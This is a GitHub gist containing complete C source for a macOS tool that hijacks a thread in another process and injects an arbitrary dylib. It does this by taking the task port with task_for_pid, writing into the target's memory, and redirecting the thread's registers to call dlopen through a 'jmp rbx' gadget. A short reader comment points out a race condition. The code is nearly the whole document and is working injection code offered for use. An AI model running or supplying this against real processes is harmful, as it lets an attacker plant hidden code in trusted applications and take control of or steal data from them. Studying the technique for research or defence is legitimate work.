Created
February 26, 2019 21:20
-
-
Save knightsc/bd6dfeccb02b77eb6409db5601dcef36 to your computer and use it in GitHub Desktop.
Example of how to hijack a thread on macOS to run code in a remote process
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <stdlib.h> | |
#include <sys/stat.h> | |
#include <unistd.h> | |
#include <mach/mach.h> | |
#include <mach/mach_vm.h> | |
#include <dlfcn.h> | |
#include <objc/runtime.h> | |
// From Brandon Azad's threadexec library | |
static thread_t | |
pick_hijack_thread(task_t task) { | |
thread_t hijack = MACH_PORT_NULL; | |
// Get all the threads in the task. | |
thread_act_array_t threads; | |
mach_msg_type_number_t thread_count; | |
kern_return_t kr = task_threads(task, &threads, &thread_count); | |
if (kr != KERN_SUCCESS) { | |
fprintf(stderr, "task_threads failed: %s\n", mach_error_string(kr)); | |
goto fail_0; | |
} | |
if (thread_count == 0) { | |
fprintf(stderr, "no threads in task 0x%x\n", task); | |
goto fail_1; | |
} | |
// Find a candidate thread. | |
thread_t thread = MACH_PORT_NULL; | |
for (long i = thread_count - 1; thread == MACH_PORT_NULL && i >= 0; i--) { | |
thread_basic_info_data_t basic_info; | |
mach_msg_type_number_t bi_count = THREAD_BASIC_INFO_COUNT; | |
kr = thread_info(threads[i], THREAD_BASIC_INFO, (thread_info_t)&basic_info, &bi_count); | |
if (kr != KERN_SUCCESS) { | |
fprintf(stderr, "error getting thread info: %s\n", mach_error_string(kr)); | |
break; | |
} | |
if (basic_info.suspend_count == 0) { | |
thread = threads[i]; | |
break; | |
} | |
} | |
if (thread == MACH_PORT_NULL) { | |
fprintf(stderr, "no available candidate threds to hijack\n"); | |
goto fail_1; | |
} | |
// Success! | |
hijack = thread; | |
// Deallocate the thread ports and array. | |
fail_1: | |
for (size_t i = 0; i < thread_count; i++) { | |
if (threads[i] != hijack) { | |
mach_port_deallocate(mach_task_self(), threads[i]); | |
} | |
} | |
mach_vm_deallocate(mach_task_self(), (mach_vm_address_t) threads, | |
thread_count * sizeof(*threads)); | |
fail_0: | |
return hijack; | |
} | |
static uint64_t | |
find_jmp_rbx() { | |
static uint64_t jmp_rbx = 1; | |
if (jmp_rbx == 1) { | |
uint8_t jmp_rbx_ins[2] = { 0xff, 0xe3 }; | |
void *start = (void *)&malloc; | |
if ((void *) &abort < start) { | |
start = (void *)&abort; | |
} | |
size_t size = 0x4000 * 128; | |
void *found = memmem(start, size, &jmp_rbx_ins, sizeof(jmp_rbx_ins)); | |
jmp_rbx = (uint64_t) found; | |
} | |
return jmp_rbx; | |
} | |
static mach_vm_address_t | |
write_remote_string(task_t task, const char *s) | |
{ | |
mach_vm_address_t addr = (mach_vm_address_t)NULL; | |
kern_return_t kr; | |
kr = mach_vm_allocate(task, &addr, strlen(s), VM_FLAGS_ANYWHERE); | |
if (kr != KERN_SUCCESS) { | |
fprintf(stderr, "unable to allocate memory for dylib string: %s\n", mach_error_string(kr)); | |
return (mach_vm_address_t)NULL; | |
} | |
kr = mach_vm_write(task, addr, (vm_offset_t)s, strlen(s)); | |
if (kr != KERN_SUCCESS) { | |
fprintf(stderr, "unable to write dylib string: %s\n", mach_error_string(kr)); | |
return (mach_vm_address_t)NULL; | |
} | |
return addr; | |
} | |
void | |
print_thread_state(const char *message, x86_thread_state64_t state) | |
{ | |
#ifdef DEBUG | |
printf("%s:\n", message); | |
printf(" rax = 0x%016llx\n", state.__rax); | |
printf(" rbx = 0x%016llx\n", state.__rbx); | |
printf(" rcx = 0x%016llx\n", state.__rcx); | |
printf(" rdx = 0x%016llx\n", state.__rdx); | |
printf(" rdi = 0x%016llx\n", state.__rdi); | |
printf(" rsi = 0x%016llx\n", state.__rsi); | |
printf(" rbp = 0x%016llx\n", state.__rbp); | |
printf(" rsp = 0x%016llx\n", state.__rsp); | |
printf(" r8 = 0x%016llx\n", state.__r8); | |
printf(" r9 = 0x%016llx\n", state.__r9); | |
printf(" r10 = 0x%016llx\n", state.__r10); | |
printf(" r11 = 0x%016llx\n", state.__r11); | |
printf(" r12 = 0x%016llx\n", state.__r12); | |
printf(" r13 = 0x%016llx\n", state.__r13); | |
printf(" r14 = 0x%016llx\n", state.__r14); | |
printf(" r15 = 0x%016llx\n", state.__r15); | |
printf(" rip = 0x%016llx\n", state.__rip); | |
printf(" rflags = 0x%016llx\n", state.__rflags); | |
printf(" cs = 0x%016llx\n", state.__cs); | |
printf(" fs = 0x%016llx\n", state.__fs); | |
printf(" gs = 0x%016llx\n", state.__gs); | |
printf("\n"); | |
#endif | |
} | |
// thread is assumed to be in a suspended state | |
void * | |
remote_dlopen(task_t task, thread_t thread, mach_vm_address_t path) | |
{ | |
void *result = NULL; | |
kern_return_t kr; | |
uint64_t jmp_rbx = find_jmp_rbx(); | |
if (jmp_rbx == 0) { | |
fprintf(stderr, "could not locate 'jmp rbx' gadget\n"); | |
return result; | |
} | |
printf("found jmp rbx at 0x%llx\n", jmp_rbx); | |
// save current thread state | |
x86_thread_state64_t saved_state; | |
x86_thread_state64_t state; | |
mach_msg_type_number_t thread_state_count = x86_THREAD_STATE64_COUNT; | |
kr = thread_get_state(thread, x86_THREAD_STATE64, (thread_state_t)&state, &thread_state_count); | |
if (kr != KERN_SUCCESS) { | |
fprintf(stderr, "error getting thread state: %s\n", mach_error_string(kr)); | |
} | |
saved_state = state; | |
print_thread_state("original registers", state); | |
// modify stack | |
uint64_t remote_stack = state.__rsp; | |
remote_stack -= sizeof(uint64_t); | |
state.__rsp = remote_stack; | |
printf("remote stack = 0x%llx\n", state.__rsp); | |
kr = mach_vm_write(task, remote_stack, (vm_offset_t)&jmp_rbx, sizeof(uint64_t)); | |
if (kr != KERN_SUCCESS) { | |
fprintf(stderr, "error writing new return address on stack\n"); | |
} | |
// set arguments and rip | |
// Calling dlopen this way seems to crash things | |
state.__rbx = jmp_rbx; | |
state.__rip = (uint64_t)dlopen; | |
state.__rdi = path; | |
state.__rsi = RTLD_LAZY; | |
// Sample read primitive eax will have the value read from rdi register | |
// state.__rip = (uint64_t) property_getName; | |
// state.__rdi = path; | |
kr = thread_set_state(thread, x86_THREAD_STATE64, (thread_state_t)&state, x86_THREAD_STATE64_COUNT); | |
if (kr != KERN_SUCCESS) { | |
fprintf(stderr, "error setting thread state: %s\n", mach_error_string(kr)); | |
} | |
kr = thread_resume(thread); | |
if (kr != KERN_SUCCESS) { | |
fprintf(stderr, "error resuming hijacked thread: %s\n", mach_error_string(kr)); | |
} | |
// monitor for finish | |
for (;;) { | |
kr = thread_get_state(thread, x86_THREAD_STATE64, (thread_state_t)&state, &thread_state_count); | |
if (kr != KERN_SUCCESS) { | |
fprintf(stderr, "error getting thread state for monitoring: %s\n", mach_error_string(kr)); | |
break; | |
} | |
if (state.__rip == jmp_rbx && state.__rbx == jmp_rbx) { | |
printf("hijacked thread is finished!\n"); | |
break; | |
} | |
} | |
// suspend thread | |
kr = thread_suspend(thread); | |
if (kr != KERN_SUCCESS) { | |
fprintf(stderr, "error suspending hijacked thread: %s\n", mach_error_string(kr)); | |
} | |
// Capture the result | |
print_thread_state("result registers", state); | |
result = (void *)state.__rax; | |
// restore thread state | |
kr = thread_set_state(thread, x86_THREAD_STATE64, (thread_state_t)&saved_state, x86_THREAD_STATE64_COUNT); | |
if (kr != KERN_SUCCESS) { | |
fprintf(stderr, "error restoring thread back to original values: %s\n", mach_error_string(kr)); | |
} | |
return result; | |
} | |
static int | |
hijack(pid_t pid, const char *lib) | |
{ | |
kern_return_t kr; | |
task_t remote_task; | |
thread_t remote_thread; | |
kr = task_for_pid(mach_task_self(), pid, &remote_task); | |
if (kr != KERN_SUCCESS) { | |
fprintf(stderr, "task_for_pid(%d) failed: %s\n", pid, mach_error_string(kr)); | |
return 1; | |
} | |
remote_thread = pick_hijack_thread(remote_task); | |
if (remote_thread == MACH_PORT_NULL) { | |
fprintf(stderr, "failed to find thread to hijack\n"); | |
return 1; | |
} | |
printf("hijacking thread 0x%x\n", remote_thread); | |
kr = thread_suspend(remote_thread); | |
if (kr != KERN_SUCCESS) { | |
fprintf(stderr, "error suspending thread 0x%x\n", remote_thread); | |
return 1; | |
} | |
mach_vm_address_t remote_lib = write_remote_string(remote_task, lib); | |
if (remote_lib == (mach_vm_address_t)NULL) { | |
fprintf(stderr, "could not write dylib path into remote task\n"); | |
return 1; | |
} | |
printf("wrote %s to 0x%llx\n", lib, remote_lib); | |
void *handle = remote_dlopen(remote_task, remote_thread, remote_lib); | |
if (!handle) { | |
fprintf(stderr, "remote dlopen failed\n"); | |
return 1; | |
} | |
kr = mach_vm_deallocate(remote_task, remote_lib, strlen(lib)); | |
if (kr != KERN_SUCCESS) { | |
fprintf(stderr, "error removing remote string\n"); | |
return 1; | |
} | |
kr = thread_resume(remote_thread); | |
if (kr != KERN_SUCCESS) { | |
fprintf(stderr, "error resuming thread 0x%x\n", remote_thread); | |
return 1; | |
} | |
mach_port_deallocate(mach_task_self(), remote_task); | |
return 0; | |
} | |
int | |
main(int argc, const char *argv[]) | |
{ | |
pid_t pid; | |
const char *lib; | |
struct stat buf; | |
int rc; | |
if (argc < 3) { | |
fprintf(stderr, "Usage: %s _pid_ _action_\n", argv[0]); | |
fprintf(stderr, " _action_: path to a dylib on disk\n"); | |
return 1; | |
} | |
pid = atoi(argv[1]); | |
lib = argv[2]; | |
rc = stat(lib, &buf); | |
if (rc != 0) { | |
fprintf(stderr, "Dylib not found\n"); | |
return 1; | |
} | |
return hijack(pid, lib); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
There's a race condition here because threads can disappear/appear between
task_threads()
andthread_info()
(and all the way untilthread_suspend()
). You should probably add atask_suspend
/task_resume
around this critical section (which will suspend all threads in the task).